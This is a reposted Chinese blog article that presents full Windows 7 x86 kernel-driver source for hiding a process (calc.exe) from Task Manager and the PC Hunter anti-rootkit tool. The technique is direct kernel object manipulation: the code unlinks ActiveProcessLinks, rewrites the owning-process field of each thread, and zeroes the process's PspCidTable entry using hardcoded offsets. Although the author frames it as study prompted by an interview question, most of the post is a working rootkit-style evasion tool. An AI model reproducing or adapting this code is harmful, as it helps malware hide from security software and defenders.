我是靠谱客的博主 如意星星,最近开发中收集的这篇文章主要介绍进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

说来惭愧,360一面的时候,面试官问我如何去隐藏一个进程,我说很简单那,从EProcess的ActiveProcessLinks的双向列表中断开就完事了啊,面试官当时也没有提醒我,直到面试完,我自己研究了一下从双向列表中断开,但是发现只能躲过任务管理器的眼睛,但是用PcHunter 还是可以枚举出来的,我自己又试了一下从暴力方式去枚举进程,发现也是枚举出来,这时候我才想到,双向列表的断开,其本质上并没有实现隐藏的隐藏。所以,才有了今天这篇文章。

隐藏

隐藏,顾名思义就是藏起来,不被别人发现。进程隐藏本质意义上就是把Windows所有相关进程的数据结构中,将目标进程的信息抹去,但进程仍然驻留在内存中,在后台默默运行。

 

进程隐藏---0x00

这是最初的版本,我只从双向列表中断开了目标进程的节点,只能绕过任务管理器的研究,无法绕过PcHunter 和暴力枚举的方法。

EProcess  和Ethread 中有很多列表,理解LIST_ENTRY可以试着看一下这幅图 

结果演示:

 

任务管理器中已经没有了相关进程的信息。


但是我暴力枚举还是可以找出clac进程的。

从PcHunter中可以看到隐藏进程

 

所以这种方法我们只能简单的欺骗一下自己,而不能去欺骗杀软。

 

//System  ListEntry->Blink 是空节点
//Offset EProcess是到ActiveProcessLinks的偏移
	ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET; 
	v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;

	while (v1 != EProcess)
	{
	//v1  0x87e95d40 struct _KPROCESS *
	//ImageFileName  0x87e95eac "calc.exe"

		ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
		if (strcmp(ImageFileName,"System")==0)
		{
			__HeadEntry = (ULONG_PTR)v1+ x86_EPROCESS_OFFSET;
		}
		ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
		if (strcmp(ImageFileName, ProcessName) == 0)
		{

			if (ListEntry != NULL)
			{
				__ListEntry = ListEntry;
				RemoveEntryList(ListEntry);
				Status = STATUS_SUCCESS;
				break;
		        }
		}
	v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

进程隐藏---0x01

 经过一些列的思考和学习,发现了可以绕过PC Hunter 的办法,直接上结果。

隐藏之前: 

隐藏之后:

其实绕过PcHunter实现隐藏进程也很简单,就是比之前的方法多了几个步骤而已。

  • 从EProcess中的ActiveProcessLinks中断开clac.exe进程信息结点
  • 抹除clac.exe进程的所有线程(直接杀死线程,进程也就不存在了,所有这里是改变线程的父进程信息,以欺骗为目的)
  • 从PspCidTable中抹去保存clac.exe 进程的EProcess的信息 

 

ActiveProcessLinks中断开clac.exe进程信息结点

/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/

		//System  ListEntry->Blink 是空节点

	    
		ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
		v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;


		while (v1 != EProcess)
		{
			//v1  0x87e95d40 struct _KPROCESS *
			//ImageFileName  0x87e95eac "calc.exe"

			ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
			ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
		
			if (strcmp(ImageFileName, ProcessName) == 0)
			{

				if (ListEntry != NULL)
				{
					__ListEntry = ListEntry;
					RemoveEntryList(ListEntry);
					__Target_EProcess = v1;
					DbgPrint("断开ActiveProcessLinks节点   Success");
					break;
				}
			}
			v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

		}

抹除clac.exe进程的所有线程

/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/


		/*
   +0x16c ImageFileName    : [15]  "calc.exe"

   +0x188 ThreadListHead   : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]

   3: kd>  dt _ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x200 CreateTime       : _LARGE_INTEGER
 
   +0x268 ThreadListEntry  : _LIST_ENTRY

		*/
		v1 = NULL;
		ListEntry = NULL;
		v1 = __Target_EProcess;
		PLIST_ENTRY v2 = NULL;
		ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
		v2 = ListEntry->Flink;
		do
		{
			EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);

			*(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;

			v2 = v2->Flink;
			DbgPrint("目标进程的线程的父进程信息已改掉   Success");
		} while (v2 != ListEntry->Flink);

从PspCidTable中抹去保存clac.exe 进程的EProcess的信息  

/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/

		ULONG PspCidTableAddress = GetPspCidTableAddress();
		if (PspCidTableAddress == 0)
		{
			return ;
		}

		ULONG HandleTable = *(PULONG)PspCidTableAddress;
		ULONG TableCode = *(PULONG)HandleTable;
		ULONG Flag = TableCode & 3;   //获取TableCode的最后两位 来确定层数
		TableCode &= 0xFFFFFFFC;      //如果系统采用了两层或者三层的时候,
				//TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
				//则是一个指向多层表的指针。
	// TableCode  0x95d2a000
		switch (Flag)
		{
		case 0:    //1层结构
			Operation1(TableCode);
			break;
		case 1:    //2层结构
			Operation2(TableCode);
			break;
		case 2:    //3层结构
			Operation3(TableCode);
			break;

		default:
			break;
		}
		return;

在当你隐藏进程工作完成之后,当进程关闭的时候,你必须要将你修改过的所有信息恢复之后,才能退出进程。否则会发现蓝屏,因当你关闭进程的时候,系统会从PspCidTable中去寻找你关闭进程的EProcess,和所有线程的EThread,隐藏中你抹去了进程的EProcess,所有如果系统没有从PspCidTable中找到,那么系统会蓝屏。

下面附上完整代码:

ProcessHide-Pass-PcHunter.h

#pragma once
#include<fltKernel.h>

void DriverUnload(PDRIVER_OBJECT DriverObject);



void ProcessHide();
BOOLEAN GetEProcessInfo();
ULONG GetPspCidTableAddress();

ULONG Operation1(ULONG Address);
ULONG Operation2(ULONG Address);
ULONG Operation3(ULONG Address);
typedef ULONG_PTR(*LPFN_OBGETOBJECTTYPE)(PVOID Object);
ULONG_PTR MaGetObjectType(PVOID ObjectBody);

 

#include"ProcessHide-Pass-PcHunter.h"

#define x86_EPROCESS_OFFSET 0x0b8;
#define x86_IMAGEFILENAME_OFFSET 0x16c;
PLIST_ENTRY __ListEntry = NULL;
PLIST_ENTRY __HeadEntry = NULL;
PEPROCESS   __Target_EProcess = NULL;
PEPROCESS   __Explorer_EProcess = NULL; 
ULONG       __AddressOfPspCidTale = 0;
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
	UNREFERENCED_PARAMETER(RegisterPath);
	NTSTATUS Status = STATUS_SUCCESS;

	//设置驱动卸载历程
	DriverObject->DriverUnload = DriverUnload;



	ProcessHide();
	return  Status;
}


void DriverUnload(PDRIVER_OBJECT DriverObject)
{
	UNREFERENCED_PARAMETER(DriverObject);
	UNICODE_STRING DeviceLinkName;   //符号链接名
	PDEVICE_OBJECT v1 = NULL;
	PDEVICE_OBJECT DeleteDeviceObject = NULL;


	//通过驱动对象获得设备对象
	DeleteDeviceObject = DriverObject->DeviceObject;
	while (DeleteDeviceObject != NULL)
	{
		v1 = DeleteDeviceObject->NextDevice;
		//删除设备
		IoDeleteDevice(DeleteDeviceObject);
		DeleteDeviceObject = v1;
	}

	//恢复进程
	if (__HeadEntry && __ListEntry)
	{
		InsertHeadList(__HeadEntry, __ListEntry);
	}
	if (__AddressOfPspCidTale)
	{
		if (*((PULONG)__AddressOfPspCidTale) == 0)
		{
			memcpy(__AddressOfPspCidTale, __Target_EProcess, sizeof(PULONG));
		}
	}
	
	DbgPrint("DriverUnload()rn");
}

void ProcessHide()
{
	/***************************
	* 1.先从ActiveProcessLinks中断开节点
	* 2.将目标进程的所有线程的父进程信息改掉
	* 3.从PspCidTable中抹去进程信息
	*
	* 目标进程: clac.exe
	****************************/


	char *ProcessName = "calc.exe";

	PLIST_ENTRY ListEntry = NULL;
	PEPROCESS EProcess = NULL;
	PEPROCESS v1 = NULL;
	PETHREAD EThread = NULL;
	
	char* ImageFileName = NULL;
	//所有驱动都运行在System 进程下  
	EProcess = PsGetCurrentProcess();
	if (EProcess == NULL)
	{
		return;
	}

	//System 
	__HeadEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;

	
	
	if (GetEProcessInfo() == FALSE)
	{
		return;
	}
/**********************************************************************************************/
/***********************************断开ActiveProcessLinks节点*********************************/
/**********************************************************************************************/

		//System  ListEntry->Blink 是空节点

	    
		ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
		v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;


		while (v1 != EProcess)
		{
			//v1  0x87e95d40 struct _KPROCESS *
			//ImageFileName  0x87e95eac "calc.exe"

			ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;
			ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;
		
			if (strcmp(ImageFileName, ProcessName) == 0)
			{

				if (ListEntry != NULL)
				{
					__ListEntry = ListEntry;
					RemoveEntryList(ListEntry);
					__Target_EProcess = v1;
					DbgPrint("断开ActiveProcessLinks节点   Success");
					break;
				}
			}
			v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

		}

/**********************************************************************************************/
/****************************将目标进程的所有线程的父进程信息改掉******************************/
/**********************************************************************************************/


		/*
   +0x16c ImageFileName    : [15]  "calc.exe"

   +0x188 ThreadListHead   : _LIST_ENTRY [ 0x87d0d3a0 - 0x87a7bf40 ]

   3: kd>  dt _ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x200 CreateTime       : _LARGE_INTEGER
 
   +0x268 ThreadListEntry  : _LIST_ENTRY

		*/
		v1 = NULL;
		ListEntry = NULL;
		v1 = __Target_EProcess;
		PLIST_ENTRY v2 = NULL;
		ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + 0x188);
		v2 = ListEntry->Flink;
		do
		{
			EThread = (PETHREAD)((ULONG_PTR)v2 - 0x268);

			*(ULONG*)((ULONG_PTR)EThread + 0x150) = __Explorer_EProcess;

			v2 = v2->Flink;
			DbgPrint("目标进程的线程的父进程信息已改掉   Success");
		} while (v2 != ListEntry->Flink);


/**********************************************************************************************/
/*******************************从PspCidTable中抹去进程信息************************************/
/**********************************************************************************************/

		ULONG PspCidTableAddress = GetPspCidTableAddress();
		if (PspCidTableAddress == 0)
		{
			return ;
		}

		ULONG HandleTable = *(PULONG)PspCidTableAddress;
		ULONG TableCode = *(PULONG)HandleTable;
		ULONG Flag = TableCode & 3;   //获取TableCode的最后两位 来确定层数
		TableCode &= 0xFFFFFFFC;      //如果系统采用了两层或者三层的时候,
		//TableCode就不是句柄表的地址了,把这个值后两位置为0之后,
		  //则是一个指向多层表的指针。
	// TableCode  0x95d2a000
		switch (Flag)
		{
		case 0:    //1层结构
			Operation1(TableCode);
			break;
		case 1:    //2层结构
			Operation2(TableCode);
			break;
		case 2:    //3层结构
			Operation3(TableCode);
			break;

		default:
			break;
		}
		return;
}

BOOLEAN GetEProcessInfo()
{
	PLIST_ENTRY ListEntry = NULL;
	PEPROCESS EProcess = NULL;
	PEPROCESS v1 = NULL;
	BOOLEAN  IsOk = FALSE;

	char* ImageFileName = NULL;
	EProcess = PsGetCurrentProcess();
	if (EProcess == NULL)
	{
		return FALSE;
	}



	ListEntry = (ULONG_PTR)EProcess + x86_EPROCESS_OFFSET;
	v1 = (ULONG_PTR)ListEntry->Flink - x86_EPROCESS_OFFSET;

	while (v1 != EProcess)
	{
		//v1  0x87e95d40 struct _KPROCESS *
		//ImageFileName  0x87e95eac "calc.exe"

		ImageFileName = (ULONG_PTR)v1 + x86_IMAGEFILENAME_OFFSET;

		ListEntry = (ULONG_PTR)v1 + x86_EPROCESS_OFFSET;

		if (strcmp(ImageFileName, "explorer.exe") == 0)
		{
			__Explorer_EProcess = v1;
			IsOk = TRUE;
			break;

		}

		v1 = (ULONG_PTR)(ListEntry->Flink) - x86_EPROCESS_OFFSET;

	}

	return IsOk;
}

ULONG Operation1(ULONG Address)
{
	LONG Object = 0;
	BOOLEAN IsOk = FALSE;
	ULONG ItemCount = 511;
	ULONG ObjectID = 0;
	ULONG ObjectType = 0;
	ULONG HandleTableAddress = Address + 8;
	/*
	HandleTableAddress 0x8e404000
	3: kd> dd 0x8e404000
8e404000  00000000 fffffffe 878dd799 00000000
8e404010  878dd4c1 00000000 8793c431 00000000
8e404020  8793c921 00000000 87938d49 00000000
8e404030  87938931 00000000 8792cd49 00000000
8e404040  8792ca71 00000000 87928d49 00000000
8e404050  87928a71 00000000 87914d49 00000000
8e404060  87914a71 00000000 87904d49 00000000
8e404070  87904a71 00000000 878ecd49 00000000

至于0,句柄值为0×0000代表是NULL
刚好_HANDLE_TABLE_ENTRY的第0个表项为无效值
句柄值为0×0004有效

其实这个对象就是pid为4的system.exe进程。 EProcess 是 878dd798


记事本的PID为3708(十进制),应当位于第3708/4=927 个表项,
我们每一个1级索引表能容纳512个表项,毋庸置疑,
PID3708 应该在第2个二级索引指向的1级索引的第927-512=415=0x19F个表项(每个表项8Byte)
	*/
	do
	{
			Object = *(PULONG)HandleTableAddress;
			Object = Object & 0xFFFFFFF8;  //Object最后三位置0,Object即为EPROCESS的地址
			if (Object)
			{
				ObjectType = MaGetObjectType(Object);
				if (ObjectType == *PsProcessType)
				{
					if ((ULONG_PTR)Object == (ULONG_PTR)__Target_EProcess)
					{
						__AddressOfPspCidTale = HandleTableAddress;
						memset(HandleTableAddress, 0, sizeof(HANDLE));
						DbgPrint("PspCidTable中的EProcess已清零   Success");
						IsOk = TRUE;
						break;
					}
				}
		    }
		HandleTableAddress += 8;
	} while (--ItemCount > 0);
	return IsOk;
}

ULONG Operation2(ULONG Address)
{
	BOOLEAN IsOk = FALSE;
	do {
		IsOk = Operation1(*(PULONG)Address);
		if (IsOk)
		{
			break;
		}
		Address += 4;
	} while ((*(PULONG)Address) != 0);

	return IsOk;
}

ULONG Operation3(ULONG Address)
{
	BOOLEAN IsOk = FALSE;
	do {
		IsOk = Operation2(*(PULONG)Address );
		if (IsOk)
		{
			break;
		}
		Address += 4;
	} while ((*(PULONG)Address) != 0);
	return IsOk;
}

ULONG GetPspCidTableAddress()
{
	ULONG PspCidTableAddress = 0;

	//搜索PsLookUpProcessByProcessId
	UNICODE_STRING v1;
	RtlInitUnicodeString(&v1, L"PsLookupProcessByProcessId");

	PVOID lpPsLookupProcessByProcessId = MmGetSystemRoutineAddress(&v1);
	if (lpPsLookupProcessByProcessId == NULL)
	{
		return PspCidTableAddress;
	}
	//Win7 x86的偏移位置
	const ULONG PSPCIDTABLE_OFFSEET = 0x1E + 0x02;
	PspCidTableAddress = *(ULONG*)((ULONG)lpPsLookupProcessByProcessId + PSPCIDTABLE_OFFSEET);
	/*
	2: kd> uf PsLookupProcessByProcessId
	nt!PsLookupProcessByProcessId:
	84a7a950 8bff            mov     edi,edi
	.......
	84a7a96e 8b3dc40b9684    mov     edi,dword ptr [nt!PspCidTable (84960bc4)]
	84a7a974 e83757feff      call    nt!ExMapHandleToPointer (84a600b0)


	PspCidTableAddress = 0x84960bc4
	*/


	return PspCidTableAddress;
}



ULONG_PTR MaGetObjectType(PVOID ObjectBody)
{
	ULONG_PTR ObjectType = NULL;
	LPFN_OBGETOBJECTTYPE        ObGetObjectType = NULL;
	if (!MmIsAddressValid || !ObjectBody || !MmIsAddressValid(ObjectBody))
	{
		return NULL;
	}
	UNICODE_STRING v1;
	RtlInitUnicodeString(&v1, L"ObGetObjectType");
	//MmGetSystemRoutineAddress 通过系统的第一模块中的导出表搜索得到
	ObGetObjectType = (LPFN_OBGETOBJECTTYPE)MmGetSystemRoutineAddress(&v1);


	if (ObGetObjectType)
	{
		ObjectType = ObGetObjectType(ObjectBody);
	}
	return ObjectType;
}

 

最后

以上就是如意星星为你收集整理的进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)的全部内容,希望文章能够帮你解决进程的攻与“防” ---- 进程隐藏(Win7 x32 绕过PC Hunter)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(65)

评论列表共有 0 条评论

立即
投稿
返回
顶部